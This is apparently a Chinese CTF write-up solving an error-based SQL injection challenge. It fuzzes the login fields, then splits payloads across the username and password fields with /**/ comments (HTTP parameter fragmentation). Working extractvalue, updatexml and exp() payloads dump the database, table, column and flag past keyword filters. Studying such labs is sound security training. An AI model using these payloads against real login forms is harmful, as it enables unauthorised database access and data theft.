CTF003_加了料的报错注入




URL:http://ctf5.shiyanbar.com/web/baocuo/index.php                    



解:


step① 

界面如下,题目是注入,但找不到输入框,可能被隐藏了,F12查看是典型的select用户名密码:

happysneaker.com


step② 

不管它,既然提示post参数,那就用Hackbar给他post参数,登录失败,说明思路正确:

happysneaker.com


 '   能够在用户名和密码传入并提示SQL语法错误,说明username和password都是注入点,也可以分别测试:

happysneaker.com


再试   ,提示SQL语法错误,说明存在报错注入:

happysneaker.com

happysneaker.com


进一步验证,提示检测到了SQL注入, - # =  在fuzz测试中(具体测试方法再说)被过滤了,可能还有其他字符也被过滤,这需要测试一下,而且username和password两个值都要进行测试,因为这俩值可能过滤的字符不同。

happysneaker.com

fuzz测试中发现用户名过滤了 (  )  小括号,但是密码没有过滤:

happysneaker.com

happysneaker.com


因此想到一种思路:可以运用MySQL的报错函数进行注入,通过报错信息得到服务器的相关信息。方法是:在用户名输入函数名,密码来写()即参数。但有个问题,查询代码如下:

$sql="select * from users where username='$username' and password='$password'";

这种思路意味着要想办法把  ' and password='  这个代码给去掉,让函数名与参数连在一起。而正好SQL语句中  /**/  是注释掉中间的SQL语句,所以可以用/**/来解决,而且/**/也没有被吃掉,举个例子:

构造语句username='or 函数名 /*,password=*/(函数参数) or',这样一结合,最终查询语句就是:

select * from users where username=''or 函数名 /*' and password='*/(函数参数) or''

这就叫做HTTP分割注入。


step③

确定了思路是HTTP分割注入(HPF),而password经测试(具体测试方法再说)不能用floor,updatexml,polygon,multipoint,extractvalue,geometrycollection,multinestring,mulpolygon,linestring这些报错函数,只能用exp()报错注入(exp()是此题的第二种解法,再聊)。

那根据SQL注入的习惯,先试试能不能得到数据库名:


方法一:

post提交:

 username='or extractvalue /*'&password='*/(1, concat(0x5c,(select database()))) or'   

得到数据库名:error_based_hpf  , 看到 hpf 说明出题者就是想让我们用 hpf 这种方法来解题。

happysneaker.com


或者提交:

username=1' or extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e))or' 

得到数据库名:error_based_hpf

happysneaker.com

其实上面两个提交是一样:

username='or extractvalue /*'&password='*/(1, concat(0x5c,(select database()))) or'   

username=1' or extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e))or' 

实现原理都是注释掉了 '&password=' ,然后使用了extractvalue() 函数,concat()函数是将参数(参数个数不限)连成一个字符串,而0x5c是16进制,对应ASCII码为  \  ,0x7e是  ~  ,纯粹是为了输出方便观察数据库名。

使用update()函数也行,这俩最终效果是一样的:

 username=1' or updatexml/*&password=1*/(1,concat(0x7e,(select database()),0x7e),'666')or'  

happysneaker.com



MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML():

extractvalue()函数:

happysneaker.com

updatexml()函数:

happysneaker.com



方法二:

post输入: username='or'1&password='or lll() or '1 也可以得到数据库名,但原理不同:

lll()也可以换成其他的,比如xyz(),因为并没有这个函数,因此都会报无函数错误,见解暴露库名。


happysneaker.com

happysneaker.com


step④

知道了数据库名,就可以通过数据库名爆表了,但由于=不能用,同时测试到username也不能用比如limit、like、mid等语句(不管在语句中哪个位置),都会提示检测到SQL注入,所以可以用  RegExp(正则表达式)  或者  in  来绕过WAF的检测:

RegExp正则表达式:

post输入:

username='or updatexml/*

&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'),0x7e),'666') or'

得到表名:  ffll44jj  

happysneaker.com

其实 'error_based_hpf'  也可以直接换成 database() ,同样能实现:

happysneaker.com


in:

post输入:

username='or updatexml/*

&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema in (0x6572726f725f62617365645f687066)),0x7e),'666') or'

同样得到表名:  ffll44jj  

happysneaker.com


step⑤

知道了表名,那就可以爆字段(列)了。

post输入:

username=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or'

得到字段(列)名:value

happysneaker.com


最终dump一下字段的值:

post输入:

username=' or extractvalue/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e)) or'

得到 flag :  err0r_b4sed_sqli_+_hpf  

happysneaker.com





除了上面的HPF方法,也可以用exp()方法,和HTTP分割注入不同:

exp()方法是在password上做文章,因为password被过滤得只剩下exp()方法了。。。

post输入:

username=1&password=1' or exp(~(select * from(select value from ffll44jj)a)) or' 

也得到了flag.

happysneaker.com




两种解法:HPF、exp()


flag:flag{err0r_b4sed_sqli_+_hpf}






Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论